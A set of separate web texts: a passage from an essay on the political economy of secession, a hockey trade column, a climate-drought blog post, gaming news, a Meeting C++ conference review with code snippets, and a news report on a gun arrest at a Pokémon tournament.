not only on economic costs and benefits, but tend to involve other dimensions, such as culture and identity. In fact, the formation of new countries makes sense only when reflecting the preferences of most people concerned. Scotland did go in the right direction, allowing a democratic vote of its citizens. Scots did decide to remain in Britain, in large part because they were promised greater autonomy from London. However, as already mentioned, the UK continues to face the prospect of a breakup in the longer run, which can probably be averted only through a major reorganization of all populations involved, not only in Scotland but also in England, Wales, and Northern Ireland. As part of such reorganization, as already mentioned, we expect that it will be important to reach a new and stable equilibrium regarding the permanence of the UK in the EU. In other terms, the stability of the UK is linked to the stability of the European Union. The situation in Spain seems to be even more complex, and potentially even more dangerous, because of a worrisome lack of cooperation and trust between Madrid and Barcelona.  While secessions are not as costly as they used to be, they continue to be expensive processes, because national borders continue to hamper economic exchanges. For example, despite a free trade agreement (NAFTA) and a strong military-political alliance, trade between the United States and Canada is far lower than among Canadian provinces, and an independent Quebec could see a fall in its trade with the rest of Canada. And while we now live in a relatively more peaceful world, conflicts and wars remain a constant threat, and there is no guarantee that current military alliances, such as NATO, will continue to be as effective at maintaining security in Europe or elsewhere.  In an ideal world, if the benefits exceed the costs from being united, those who want a larger state should compensate those who would prefer to leave. But this is much easier in theory than in practice. It is politically difficult for a central government to make credible promises to various minority groups without alienating the majority. British Prime Minister Cameron and his government, which promised so much to Scotland to avoid secession, already face this dilemma.  Moreover, what is really important from the point of view of the whole international community is that decisions about institutions and borders should be taken in a fully democratic way, while according maximum protection to minorities. Unfortunately this is far from the general way in which borders have been determined historically – e.g., in Yugoslavia and Sudan – or today – e.g., in the current conflict in Iraq and Syria.  A significant problem is that the international community itself is made up of existing states, and the governments of those states often have a vested interest in preserving the status quo. Here lurks perhaps the greatest risk. Namely that, in order to prevent the formation of new states or to discourage requests for greater autonomy, governments may jeopardize the large benefits already obtained from cooperation and international economic integration. This would be a serious mistake. National borders should not be viewed as permanent and eternal entities, but as human-made institutions, which can be changed in function of changing political and economic needs. And the forces of the past decades – democracy, international cooperation, economic integration – have paradoxically increased the incentives for autonomy and localism. This means that we should expect increasing demands for autonomy and independence from groups that do not feel represented by traditional central governments. The reaction should not be a stubborn defense of the status quo at all costs, but a pragmatic and creative use of democratic institutions.  In conclusion, when we look back at the trends of the past few decades, and project such trends into the near future, we expect that demand for autonomy and independence will remain high, as long as the world continues to be democratic, peaceful and open. But we also expect that such demand will be much less likely to bring about costly breakups and divisions if national governments and supranational organizations do not try to maintain the status quo at all costs, but are open to change and tolerant of diverse preferences within their borders. Then, we can expect that most people will decide to stay together after all. However, as in a marriage, sometimes a peaceful divorce is better than a painful forced union.  Notes  [1] A. Alesina and E. Spolaore, “On the Number and Size of Nations,” Quarterly Journal of Economics, May 1997.  [2] A. Alesina, E. Spolaore and R. Wacziarg, “Economic Integration and Political Disintegration, American Economic Review, December 2000.  [3] The Economist, “Goldilocks Nationalism,” September 25, 2014.  [4] A recent discussion of the political economy of European integration is in E. Spolaore “Monnet’s Chain Reaction and the Future of Europe, Vox EU, July 25, 2015.
-BROSSARD, Quebec—In the aftermath of defenceman P.K. Subban being traded to the Nashville Predators, text messages and tweets poured in.  The first text that came in struck a chord.  “This can’t be real,” said a social worker at the Montreal Children’s Hospital, her office mere steps from the atrium that bears Subban’s name.  “There’s going to be a lot of crying children here,” she added. “It’s not just the donation he made. He showed up here unannounced all the time, he developed relationships with them, brightened their lives. He was a God to them.”  Subban seemingly had that effect on almost everyone in Montreal.  On the ice, he lifted the fans out of their seats with his effervescence, his effort and his natural ability. He evoked a reaction no other player in Montreal has received since the great Guy Lafleur streaked down the wing as part of dynasty teams in the 1970s.  Over the past five seasons, the only two defencemen to accumulate more points than Subban’s 238 were Ottawa’s Erik Karlsson and San Jose’s Brent Burns. The former was given much more leeway by his coaches to create offence and the latter moonlighted as a right-winger at times.  Off the ice, Subban, a native of Toronto, gave all of himself to the people of Montreal.  Trade him? Fans scoffed at the idea, but Canadiens general manager Marc Bergevin didn’t.  Hours after pulling the trigger on what has to be one of the biggest trades the Canadiens have ever seen, Bergevin insisted he got the better end of the deal by bringing 30-year-old Shea Weber and his $7.8-million cap hit over the next ten seasons to Montreal. He wouldn’t give way to the suggestion that the decision to trade Subban was motivated by the defenceman’s over-the-top personality or the reported conflicts he may have been embroiled in with teammates or coaches.  “There was never an issue,” Bergevin said. “Never a problem. …I think it was blown out of proportion.”  But most general managers would hang up the phone on rival GMs inquiring about their franchise player. Not only did Bergevin not do that, he entertained several offers at the NHL Draft last Friday before taking Predators GM David Poile’s call.  “He got my attention when he brought up the name of Shea Weber,” said Bergevin before detailing that the conversation resumed Monday and the deal was formalized early Wednesday afternoon.  “It was essential to get a defenceman back who could play the kind of minutes Subban could,” he said in French.  Weber, a two-time Olympic champion with Team Canada and longtime captain of the Predators, is more than capable of doing just that.  The 6-foot-4, 236-pound Kelowna, B.C. native built his reputation on being one of the toughest competitors in the game. He cemented it on the strength of his fearsome shot, which has helped him produce 166 goals and 443 points in 763 NHL games.  But in evaluating the trade, it’s impossible to look past the fact that Weber’s skated through five of his prime years, playing in the heavy-hitting Western Conference, traveling many more miles than he would have if he’d spent his first 10 seasons out East.  “I believe he’s going to be good for a long time,” said Bergevin.  Weber, who turns 31 in August, had better be great for a long time. The man he’s replacing is 27 and still on the front nine of what’s already been an illustrious career.  “He’s the modern-day defenceman,” said Poile of Subban. “It’s players like P.K. Subban who are going to make the difference going from defence to offence, rushing the puck, carrying the mail as I like to say.”  Those facts, coupled with the disparity in age between the two players, should have enabled Bergevin to obtain more in this deal—a draft pick, a prospect, a forward with scoring potential.  And though Weber may prove to be a better fit on the Canadiens’ blue line and a better fit in coach Michel Therrien’s system, he can’t possibly rival Subban’s presence in Montreal. That’s why a funeral-like atmosphere hangs over the city.  “I’ve always felt wanted by the fans and the community there,” said Subban on a conference call from Paris.  But Bergevin and the Canadiens never seemed as enamoured.
-We all know that some climate change is natural, in fact, even without humans, the Earth’s climate changes. But, as we have added heat-trapping gases to the atmosphere, we have seen human influence “emerge” from natural variability.  Droughts, one of the most intensely studied climate events, are a perfect example of an effect with both human and natural influences. Separating the relative strengths of the influences is a challenge for scientists. But, when we deal with drought, with its large social and economic costs, it is a challenge we must undertake.  A very recent study tries to do just this. Published in the Journal of Climate, authors Richard Seager and Martin Hoerling cleverly used climate models forced by sea surface temperatures to separate how much of the past century’s North American droughts have been caused by ocean temperatures, natural variability, and humans. What they found was expected (all three of these influence drought), but it's the details that are exciting. Furthermore, the methodology can be applied to other climate phenomena at other locations around the globe.  The very beginning of their paper sets a great framework for the study,  “In a nation that has been reeling from one weather or climate disaster to another, with record tornado outbreaks, landfalling tropical storms and superstorms, record winter snowfalls, and severe droughts, persistent droughts appear almost prosaic. Droughts do not cause the mass loss of life and property destruction by floods and storms. They are instead slow-moving disasters whose beginnings and ends are even often hard to identify. However, while the social and financial costs of hurricane, tornado, and flood disasters are, of course, tremendous, droughts are one of the costliest of natural disasters in the United States.”  Droughts can be caused by a variety of isolated or interacting phenomena. At its root, drought results from lowered precipitation and sometimes higher temperatures (which increase evaporation rates). The onset of drought can often be linked to variations in ocean temperatures. For instance, La Niña events in the Pacific Ocean as well as elevated Atlantic Ocean temperatures have coincided with United States droughts.  In fact the authors state that the three mid-to-late 19th century droughts, the Dust Bowl, and the drought in the 1950s all depended on persistent La Niña conditions. Of course, other factors played roles as well and ocean temperatures simply don’t explain everything. Perhaps the best example of multiple drought factors is the Dust Bowl of the 1930s. Then, cool Pacific temperatures were not by themselves sufficient. It is likely that land use changes associated with farmland erosion and natural atmospheric variability also played roles.  The authors, therefore, wanted to move beyond a simplistic association of La Niña episodes and warm Atlantic Ocean waters with the occurrence of drought. They asked what other causes might there be and how will things change in the coming years and decades?  Using precipitation data from the University of East Anglia and ocean temperatures from the Hadley Centre combined with climate models, the researchers were able to add or omit the oceanic temperatures and compare the two sets of results. They found that ocean temperature variations cause up to 40% of the changes to precipitation, depending on location. They also found that the oceans can “nudge” the atmosphere to create conditions that are amenable to drought, and that temperature increases associated with human-driven global warming also play a role. In fact,  “The warming leads to a simulated long-term reduction in soil moisture which, although of weak magnitude compared to soil moisture deficits induced by naturally occurring droughts in the southwest United States, would imply that drought conditions may be entered more quickly and alleviated more slowly owing to long-term warming … Radiative forcing of the climate system is another source of predictability, although not really a welcome one, and rising greenhouse gases will lead to a steady drying of southwest North America. However this is a change that is only now beginning to emerge and currently is exerting less influence on precipitation variability than ocean variability or internal variability.”  This conclusion agrees with other researchers who have shown that, while human-emitted greenhouse gas warming may not cause a particular drought, it can make drought come on earlier, faster, and harder than it otherwise would.  There are two issues that I will be watching closely. The first is that any extra damage caused by drought as a consequence of human emissions will not scale linearly with attribution. For instance, if human impacts are responsible for 10% of a drought’s severity, it does not mean that human impacts are responsible for 10% of the social or economic cost.  A great example of this is with Superstorm Sandy. While admittedly not a drought, the example will make the point. It has been estimated that human-caused increases to water temperatures caused perhaps 10% more rain to fall. This extra 10% rainfall caused more than 10% of the economic damages associated with rainfall. Similarly, the human-induced sea level rise of 1 foot was only about 10% of the storm surge. But, this extra foot caused a disproportionate amount of flood damage. With this in mind, I would really like to know how the social and financial costs will change in the future as droughts set in earlier, faster, and harder because of greenhouse gas warming.  Secondly, there may well be a human influence on these otherwise natural causes. For instance, scientists have argued that greenhouse gas warming may change the ocean temperature fluctuations, particularly in the Pacific. Similarly, there are many new studies linking increasing greenhouse gases with atmospheric circulation changes. Since both of these features affect drought, they appear, at least to me, to be potential indirect human influences.  We will have to wait to learn more, let’s hope the wait isn’t too long.
-Interwave Studios, the company behind the much-discussed-like, says that it is working on an ending to its game -- but there's a little more to the story.The Iceberg Interactive-published Dark Matter was pulled from Steam and GOG.com this week, after it emerged that the game did not have a proper ending. Players who reached the end of the game are told "To be continued" -- although no sequel is planned.Interwave, the studio behind the game, has now said that this abrupt ending was as a result of its Kickstarter failing earlier this year, and that it would be adding an ending in a later patch."At present, the end of the game may cause confusion and is not satisfactory," Iceberg CEO Erik Schreuder admitted . "We sincerely apologise for this, as it is not of the standard we would expect. We are working to offer a more conclusive and satisfying ending to the game as we speak and expect a fix to appear as soon we are able to."However, what the team has failed to disclose is that it isn't working on the title anymore. After the Kickstarter failed earlier this year, most of the Interwave team was let go between July and August, and the vast majority of the originaldevelopers are not working on the title any more, according to Gamasutra sources.A source close to the studio told Gamasutra that Interwave is now a "sleeping company," with only a bare minimum of management at the studio, and insufficient developers to finish the title under current staffing levels. However, it's unclear whether third-parties would be able to finish the game separately of the original team.: Another source close to the studio has told Gamasutra that an external company is now handling the game's ending, and that none of the original developers are still working on the game.The entire Interwave team, minus two management staffers, were let go during July and August. When the Kickstarter failed, the original idea was to package it up asand use sales of the game to re-hire the original team and carry onwards -- however, this plan fell through.
-Finally, after years of watching youtube videos on that topic, I made it to my first C++ international conference! Thanks to my current employer King, I went last week to Meeting C++ in Berlin, which is, as far as I know, the biggest C++ event in Europe. I really enjoyed my time there with few hundred other fellow C++ enthusiasts. In this post, I will try to relate how I experienced the event and dress a list of the must-watch talks.  About meeting C++:  The concept:  Held in the magnificient Andels Hotel in Berlin, Meeting C++ offers the possibility to attend keynotes, talks and lightning talks (respectively lasting 2 hours, 50min and 5min) about our favourite language C++ for 3 days (one extra day added for the 6th edition of the event). C++ being multi-paradigm and a general-purpose programming language, the variety of the topics being discussed is pretty wide. It ranges from subject on "(Template) Meta-programming" to a deep dive on "How a C++ debugger work", from begginner friendly talks to hairy discussions on the yet-to-be-standardised white paper on std::expected.  As some talks happen simulteanously in different rooms, you cannot physically attend all the talks. Instead, you would usually prepare your own schedule by trying to guess the content of the talks from their summary. It is always a dilemna to choose between a topic that you like with the risk to have nothing new to learn, and a brand-new topic for you, where sleepness may kick-in midway to the presentation. If you are curious and daring, the lightning talks on the last day permit you to randomly discover antyhing about C++ in succint presentations. In any case, you can always catch-up the missed talks by checking the Youtube channel.  Generally, I was not disapointed by the quality of the slides and the speakers. I picked up quite a few new concepts, prepared myself for the future of C++ (C++20) and refreshed myself on some fields I did not touch for a while.  More than just talks:  Where Meeting C++ really shines is in its capacity to gather roughly 600 passionated developers from various backgrounds (university, gaming industry, finance, Sillicon Valley's giants...) in one building and share. Just share anything about C++, about reverse-engineering, about your job, about your country, about the german food in your plate! The C++ community represented at this event is very active, open-minded and willing to help. The catering between the sessions and the dinner parties permit you to meet anyone easily. The even team also oganises some really fun events  In a room full of "world-class developers", it is easy to be intimidated, but you should not hesitate to reach them. They will not nitpick your words nor snob you. For some people, it is a dream to meet an Hollywood Star in the street, for me it was really delightful to have casual conversations with these "legendary" coders from the web.  The chief's suggestions of the day:  Here is a menu of most of the talks I attended. The legend is pretty simple:  💀 : The difficulty of the talk (💀: Begginer friendly, 💀💀: Intermediate, 💀💀💀: High exposure to C++'s dark corners)  ★ : My interest for the talk (★: Good talk, ★★: Tasty talk, ★★★: Legendary talk)  I will not spoil all the talks, but simply try to give an overview of what you can expect within them. Note that all the talks are generally of high quality and my appreciation very subjective. I have seen people with very different "favorite talk".  [Keynote] Better Code: Human interface - By Sean Parent - 💀 ★★  Sean Parent is a Principal Scientist at Adobe Systems and has been working on the famous software Photoshop for more than 15 years. Sean Parent is a regular and prominent speaker at C++ conferences, one of his recently most famous talk being Better Code: Runtime Polyphormism from the same series of talks (Better Code) as the one he gave during Meeting C++.  Thorough his keynote, Sean was conveing the message that in order to have ergonomic human interfaces, you must design your code to reflects its usage through UI. By following such a principle, one can easily come-up with good namings, semantics and grouping of your UI components.  For instance, Sean was explaining that most of the menu actions in Photoshop somehow mapped some object, their methods, properties and most importantly their relations:  The menu action Create New Layer will somehow call the constructor of a class called something like Layer .  will somehow call the constructor of a class called something like . Likewise the action Delete A Layer would call its destructor.  would call its destructor. A selection in Photoshop will most likely translate in a container of objects.  As a counter-example he explained that the old version of Gmail used to have a confusing flow when it comes to the most trivial usage of a mail service: creating a mail. A link, which implies navigation, was used instead of button for the "compose message" action.  Sean put a strong emphasis that relationships are the most difficult part of an architecture to represent. He came up with few examples on how std::stable_partition can be used to solve in an elegant way the gathering and display of items  Overall a very nice talk, but on a very abstract topic, since not much has been explored on that subject yet! This is worth paying attention in game-programming where a good UI is a key-part of the success of a game.  [Talk] Threads and Locks must Go - Rainer Grimm - 💀💀 ★  In this talk Rainer Grimm, a German author of multiple C++ books, brought under the spotlight the concurrency features introduced by the new C++ standard C++17 and the coming one C++20. Here is a short summary of my favourite features:  For C++17 (and concurrency TS):  The new parallel algorithms in  and the associated execution policies seq, par and par_unseq.  std :: vector < int > v = {...}; // A bit vector... std :: sort ( std :: execution :: par {}, v . begin (), v . end ()); // Due to "par", this **might** execute the sort in parallel using a thread pool of some sort.  The new std::future interface which permits to add continuations to the shared state using the then member function.  std :: future < int > foo (); auto f = foo (); f . then ([]( std :: future < int >& f ) { // Will be called when f is done. std :: cout << f . get (); // Will therefore not block. });  Hopefully for C++20:  The stackless coroutines as implemented by MSVC and clang. This introduce two keywords co_await and co_yield. Considering the previous example using std::future, it could be rewritten in the following way:  std :: future < int > foo (); int x = co_await foo (); // The continuation is "generated" by the compiler using the keyword co_await. std :: cout << x ; // Everything after co_await is implicitely part of the continuation.  A new synchronized keyword applying the transactional memory concept on a group of statements.  int x ; y ; // Global vars void foo () { // Foo can be called by multiple thread simuteanously. // Reads-writes on x and y are now thread-safe and synchronized. synchronized { ++ x ; ++ y ; } }  As explained by Rainer Grimm, we will have the possibility to easily bring concurrency to our C++ codebases without ressorting to the low-level, and tricky to get right, features like thread and locks. While I appreciated the talk, it lacked a bit of novelty as I was already aware of most of the features.  [Talk] Strong types for strong interfaces - Johnathan Boccora - 💀 ★★★  Related blog post: link  Video: link  A must watch! Even when facing some technical issues, Johnathan is very good speaker and I was quickly captivated by the topic of strong types. Jonathan is also a talented writer with his famous blog fluentcpp (I would really suggest to have a look at it once in a while).  As C++ developers, we heavily rely on the language's type system to express our intentions to other developers, to optimise our code and avoid shooting ourselves into our feet. Yet, we always reuse some types to express very different properties of our system. For instance to describe a person, you would use an int for her/his age and his/her weight. Did it ever come to you that the unit year (for age) should be a very different type than kg (for weight)? The concept of strong type would solve this problem by introducing new int-compatible types:  // We need to have these empty tag types to create entirely new types and not just weakly-typed aliases. using kg = strong_type < int , struct KgTag > ; using years = strong_type < int , struct YearsTag > ; void unsafe_create_person ( int age , int weight ); void create_person ( years age , kg weight ); // Explicit interface. int age = 42 ; int weight = 1337 ; unsafe_create_person ( weight , age ); // Oops I inversed the arguments but no compiler error. create_person ( years ( age ), kg ( weight ))); // Much less error-prone.  As a bonus, strong types can actually affect positively the performances of your codebase as the compiler can agressively optimise without violating strict-aliasing rules, since the types are now strictly unrelated.  This concept is not new and is already used in std::chrono or Boost.Unit, but it was really refreshing to have an explanation with simple words and good examples! I am now very keen to use this in my personal projects and at work too.  [Talk] How C++ Debuggers Work - Simon Brand (4/5) - 💀💀 ★★  Related blog post: link  Video: link  Simon Brand, also known as TartanLlama (a really fancy fictious name for a Scott), presented us how a mixture of calls to ptrace, injection of the int3 opcode, parsing of the DWARF format and perseverance is the base to create a debugger on a x86(_64) architecture with a Unix platform (or Linux platform only if you OS specific calls like process_vm_readv, process_vm_writev).  Unlike some of the other talks, it would be hard to give succinct code examples, but I trully appreciated his presentation! When it comes to low-level APIs for debbuging and reverse-engineering, I have a better understanding of the Windows platform. I think that Simon did an excellent job to help me transfer my knowledge to the Unix world.  If one day I have to tackle the creation of a debugger on Unix, I would certainely come back to this talk or follow his series of blog posts on the same subject. I also think that as programmer, it is always beneficial to have some knowledge on the underlying mechanims of the tools you use (gdb, or lldb in that case). I would, therefore suggest to watch that talk to any C++ enthusiast willing to progress in their art of programming.  [Talk] The Three Little Dots and the Big Bad Lambdas - Joel Falcou - 💀💀💀 ★★★  I am always excited by watching a talk from Joel Falcou: he is a venerable (template) metra-programmer wizzard with a very didactic approach to explain things (and also we share the same nationality \O/). Once again, I was not disapointed by his session.  With a lot of humour, Joel introduced a new facet to meta-programming in C++. We used to have template meta-programming to manipulate types at compile-time (and with difficulties values), then came constexpr to ease value computation, and recently a Louis Dionne came-up with a powerful combo of these two cadrants with Boost.Hana. Joel statement was that lambdas expressions combined with auto and parameter packs are powerful enough to replace some cases where we would have resort to use template meta-programming or the uglier infamous macros! Joel came to that conclusion after being inspired by the language MetaOCaml.  Let's say that you want to fill a vector with push-back instruction generated at compile-time:  #include  #include  #include  #include  #include  template < class F , std :: size_t ... I > void apply_imp ( F && f , std :: index_sequence < I ... > ) { ( f ( I ), ...); // C++17 fold expression. } template < int N , class F > void apply ( F && f ) { apply_imp ( f , std :: make_index_sequence < N > {}); } std :: vector < int > bob ; auto bind = []( auto & v , auto f ) { return [ & v , f ]( auto x ){ f ( v , x ); }; }; auto push_back = bind ( bob , []( auto & v , int x ) { v . push_back ( x * 3 ); }); apply < 3 > ( push_back ); // Will generate at compile time: // bob.push_back(0); // bob.push_back(3); // bob.push_back(6);  This example is fairly trivial and there would be a high chance that you would reach the same assembly output using a simple for loop. But it is very interesting to notice that lambdas are reusable type-safe units of code that you transport, combine and "instantiate" at any time. Performance-wise, lambdas are pretty incredible according to Joel's measurement on his linear-algebra project. C++17 constexpr lambdas could also help on that topic. One drawback might be the debugging complexity when navigating in nested lambdas. I still need to wrap my head around this new concept and I am eager to rewatch Joel's talk to explore it more!  [Keynote] Its complicated! - Kate Gregory - 💀 ★★★  While excellent, Kate's keynote would be very hard to summarise correctly within few paragraphs. It makes you reflect on the difficulties to introduce C++ to newcomers. You would hope that there is a subset of the language that could be easily assimilate by anyone, Kate argues that the reality is sadly more complicated than that. Just have a look at how long are the C++ core guidelines on passing parameters to function calls. One day or another, a begginer must learn on how to pass parameters with good semantics and in an optimised fashio. Well, good luck to her/him! On the other hand, it does not mean that the language could have been designed in a simpler way. What we should strive for instead might be better naming of these concepts: the acronym RAII (Resource Acquisition Is Initialization) is obviously not as straightforward as COW (Copy-on-write). Whether you are a "newbie" or the best "lead over-engineer" of your company, this talk is really worth a look!  [Talk] There Is A New Future - Felix Petriconi - 💀💀 ★★  Felix Petriconi and Sean Parent have been working on a the stlab library for quite some time. stlab takes the best of the various future implementations std::future (C++11), std::future (C++14) or boost::future, and adds a bit of it owns features on top of it. For instance, stlabs supports passing explicit executors to control where async will execute the tasks, and where the continuation associated with then will be executed too. Executors are akin to event-loops (or message-pumps in the .Net world) that will process the tasks.  // This task will be executed on ``an_executor`` auto f = stlab :: async ( an_executor , [] { return 42 ; }); // The continuation on another executor. f . then ( another_executor , []( int x ) { std :: cout << x ; });  While executors are present in Boost.Thread, stlabs's channels are unique to this future library. Channels are one of the Go language's favorite toy. It is a neat way to create communication between a sender and a receiver on different executors:  auto [ sender , receiver ] = channel < int > ( receive_executor ); // Create the link. receiver | []( int x ) { std :: cout << x ; }; // Define what should happen at the reception. // Establish the connections. receiver . set_ready (); sender ( 42 ); // Sent 42 through the channel. // Receiver will print 42 when executing the task.  I really like some of the features in stlabs, hopefully this could be incorporated into the C++ standard (the executors are down in the pipe of the standardisation process).  [Talk] Introduction to proposed std::expected - Niall Douglas - 💀💀💀 ★  Are you the kind of person that would rather have errors on the return values rather than using exceptions. Niall has a solution for you: std::expected. You can see std::expected either as a std::optional with a empty state containing an error for being empty, or as a std::variant where you agree that the first alternative is the return value and the second alternative is the potential error. Example:  std :: expected < int , std :: string > foo ( int x ) { if ( x < 0 ) return std :: make_unexpected ( "x < 0" ); return 42 ; } auto result = foo ( - 1 ); if ( ! result ) std :: cout << result . error (). value (); // Prints " x < 0".  std::expected starts to be cumbersome to use when combining or propogating returned results. To palliate this problem, std::expected exposes a Monad interface, with the bind member function coming directly to your mind. If you are a Haskell user, std::expected should remind you of the Maybe Monad. Using bind is still verbose and hopefully we obtain a dedicated keyword try to ease our pain.  [Talk] The most valuable values - Juan Pedro Bolívar Puente - 💀💀 ★★  During his presentation, Juan actively promoted value semantic over reference semantic and did so with some analogies from our physical world (from our dear philosopher Platos) and code examples. The talk quickly moved onto immutability and functionnal programming applied to user interfaces. There is a trend in the web sphere to follow a software architectural pattern called flux with a main implementation the redux framework. Arguably, flux is a glorified good old MVC (Model View Controller) architecture with a strong emphasis on the immutability of the model and strict flow on the interactions between the components of MVC. Model, View and Controller also get respectively renamed to Store, View and Dispatcher. An action submitted to the Dispatcher will update the Store with a new Store in a determinstic way, which will imply a redraw of the View.  Juan succeeded to mimic redux in the C++ world using his library immer. To demonstrate the capabilities of his library, Juan recreated an emacs-like editor. The beauty of having an immutable Store is truly expressed in the time-traveling machine that you can create from it: by saving all the states of the Store, you can easily come back to a previous state of your application (similar to undo / redo). You should absolutely watch the video to understand how easy it seems to implement this. On top of that you will have the chance to watch what might be the most audacious ending of a C++ talk I have ever seen.  [Talk] Reactive Equations - André Bergner - 💀💀💀 ★★★  Github project: link  Video: link  As a meta-programmer aficionado, this was the most "devilish" talk, and therefore highly thrilling, I attended during the event. It was not the first time I heard from André Bergner, he attended the cppcon in 2015 and I remembered that he presented a nice way to have currying on your function. This time, André focused on reactive equations. If this sounds foreign to you, you might be more familiar with data binding in Qt QML using Javascript expression. André's reactive equations are similar but with simpler expressions:  // ***** Using a pseudo-language, let's define the equations ***** x : float y : float z : float y = x * 42 // When x is updated, y will be automatically updated. z = y + x // When y or x is updated, z will be automatically updated.  You may notice that I didn't write any C++ code. By default C++ would not permit to have expressions that update themselves by "magic" if one variable changes. You could write the update logic manually, but with a lot of long equations, this becomes very error prone. Instead André created a DSL (Domain Specific Language), which is equivalent to create a language within C++ itself. To define his DSL, André used expression templates. Expression templates are tricky creatures, which roughly consist in encapsulating C++ expressions into a type at compile-time. This type will retain all the operators / functions (let's call them operations) that you applied in your expression. These operations can be queried at compile-time to generate other expression that you will execute at runtime. In André's case, the encapsulated operations from his reactive equations would be used to automagically generate the update logic. To facilitate his task, André heavily relied on Boost.Proto. If you are versed in the art of meta-programming, this will certainely be entertaining to you!  [Talk] Free your functions - Klaus Iglberger - 💀 ★★★  This was a glorious hymn to our beloved free functions by Klaus Iglberger. Programmers often resort to use member functions and inheritance to provide polyphormism in C++, often overlooking that free functions and overloading would be a smarter choice.  Let's take a situation where you would need to implement a serialise function for a bunch of unrelated types. Would rather use the implementation 1?  struct serialisable { virtual ~ serialisable (); virtual std :: string serialise (); }; struct A : serialisable { std :: string serialise () override { /* return something... */ }; }; struct B : serialisable { std :: string serialise () override { /* return something... */ }; };  Or the solution 2?  struct A {}; struct B {}; std :: string serialise ( const A & a ) { /* return something... */ } std :: string serialise ( const B & b ) { /* return something... */ }  As Kate explained, it is complicated! If you are looking for runtime polyphormism, then you will certainely use the solution 1. If not, the solution 2 is actually preferable. It has a lot of advantages that Klaus explained for one full hour. My favorite one being that you can extend your polyphormism to types that you do not own. Let's say that you want to serialise std::vector, you can simply write an overload for it:  template < class T > std :: string serialise ( const std :: vector < T >& v ) { /* return something... */ }  In practice, nothing prevent you from mixing a both solutions to your needs. One counter-argument being that free functions have an ugly syntax: v.serialise(); feels more natural than serialize(v); . That issue could have been solve with the unified call syntax proposal by Bjarne Stroustrup and Herb Sutter. Sadly, it was rejected by the C++ committee.  [Talk] Reader-Write Lock versus Mutex - Understanding a Lost Bet - Jeffrey Mendelsohn - 💀💀💀 ★★  Jeffrey Mendelson from Bloomberg had a bet with a colleague on whether a readers-writer lock would be faster than a mutex to protect the access on a resource that could be written by a single writer, but could have multiple readers simultaneously. The readers-writer lock would follow exactly that behaviour (multiple readers, single writer). The mutex would keep the exclusivity to one writer or one reader only! Jeffrey lost the bet, but that did not hindered him from exploring the reasons behind his lost. It was challenging for me to grasp all the implications on this topic, but here is what I understood:  Jeffrey 's reader-writer lock was made of atomic variables to keep track of the amount of readers and writers. If the resource was currently written onto, the readers and other writers would wait onto a semaphor to be waken-up later on.  's was made of atomic variables to keep track of the amount of readers and writers. If the was currently written onto, the and other would wait onto a semaphor to be waken-up later on. If the amount of time spent by the readers or the writers on the resource is fairly long, the readers-writer lock will actually perform better than the mutex as multiple reader can process simultanesouly.  or the on the resource is fairly long, the will actually perform better than the as multiple can process simultanesouly. On the other hand, if the writing and reading operations are very fast, the atomic operations on the counters will start to be costly comparatively. Atomics tend to have nonnegligible effects on the cache lines of your CPU(s). In this case, loosing the ability to have multiple readers is actually not as dramatic as you would think in comparison of stressing your cache.  and are very fast, the on the counters will start to be costly comparatively. tend to have nonnegligible effects on the cache lines of your CPU(s). In this case, loosing the ability to have multiple is actually not as dramatic as you would think in comparison of stressing your cache. Jeffrey came up with an hybrid solution that combines both a readers-writer lock and a fallback to a mutex that outperformed the previous solutions.  Once the video of this talk is uploaded, I must have a complete rewatch of it. It always amusing that our intuitions can be entirely wrong when it comes to concurrency and programming.  [Other] The not-so-secret lightning talks  Videos: link, link, link, link, link, link  Before the last Keynote, we had the pleasure to listen to some not-so-unexpected lightning talks. I will not spoil too much of it!  I just want to express my gratitude to Guy Davidson and Sean Parent for bringing diversity in the C++ community under the spotlight. It was more than welcome and I am glad of these initiatives.  Conclusion:  Once again, I was amazed by the C++ community and how a group of dedicated persons can build such nice event. I am already eager to fly to one of the big conference next year: Meeting C++ or cppcon. I would also encourage anyone with a bit of passion for this language or programming in general to give a try to conferences or local groups, you will discover more than you would expect!
-Chitose Suzuki/Pool James Stumbo (left) and Kevin Norton, both of Iowa, entered the courtroom to attend their arraignment in Boston on Monday.  They made sinister threats in an Internet chat room, shared a photograph of firearms on social media, and drove 25 hours from central Iowa to the Pokémon World Championship at the Hynes Veterans Memorial Convention Center with weapons and hundreds of rounds of ammunition in their car’s trunk, authorities said.  Police said the arrests of James Stumbo and Kevin Norton over the weekend on gun charges prevented a “potential tragedy.”  “We can never read someone’s mind,” Police Superintendent Paul A. Fitzgerald said, when asked what the men intended to do with their guns. “What we can read is what they were saying and the actions that they took, bringing the weapons they were showing online as a threat.”  Advertisement  Police said they worked on the case with Boston’s Joint Terrorism Task Force, a partnership that includes federal agents.  Get Metro Headlines in your inbox: The 10 top local news stories from metro Boston and around New England delivered daily. Sign Up Thank you for signing up! Sign up for more newsletters here  “That could have been a mass shooting,” Fitzgerald said. “So obviously the federal agencies were concerned with that.”  On a public Facebook page called “Mayhem Pokemon Crew,” Stumbo, 27, allegedly posted a photo of a white sedan with two long guns crossed over the trunk. “Kevin Norton and I are ready for worlds Boston here we come!!!” he wrote.  Before his arrest, according to prosecutors, Norton, 18, was not allowed access to a chat room from which he was banned for bullying, and allegedly stated, “Oh, ok, that’s fine then I will just shoot him on Friday thanks.”  Police say they found an AR-15 rifle, 12-gauge Remington shotgun, ammunition, and a hunting knife in the 2002 Chevrolet Prizm the two men had driven to Boston.  Advertisement  Boston Municipal Court Judge Lisa A. Grant on Monday ordered Norton and Stumbo held without bail. She set a dangerousness hearing for Sept. 1. The men stood expressionless at their arraignment as authorities laid out the charges against them.  Both men were registered for the Pokémon tournament, police said. Stumbo appears to have won state tournaments this year in Nebraska and Minnesota, according to online results. The game is an international sensation, pitting players against each other using Pokémon trading cards.  Suffolk District Attorney’s Office James Stumbo (left) and Kevin Norton.  The two men had allegedly threatened specific individuals and discussed mass shootings in online chat rooms.  One alleged post by Stumbo said, “My AR15 says you lose.”  Authorities have not said what they believe motivated the men. In court Monday, defense lawyers for the men said neither has a criminal record and both are employed.  Advertisement  “Inside, there were a lot of kids, a lot of gamers, and thank God we were able to cut off whatever these two individuals coming from Iowa were up to,” Police Commissioner William B. Evans said.  The men are charged with unlawful possession of a firearm, unlawful possession of ammunition, and unlawful possession of a large capacity rifle, Suffolk District Attorney Daniel F. Conley said in a statement. They currently do not face charges for making threats, but the investigation is ongoing, Conley said.  News of the charges stunned passionate Pokémon players.  Jacob Van Wagner, the world champion in the Pokémon Trading Card Game’s masters division, said he was surprised anyone from the Pokémon community could consider mass violence.  “The main thing that keeps me in the game is my constant desire for competition and to reconnect with old 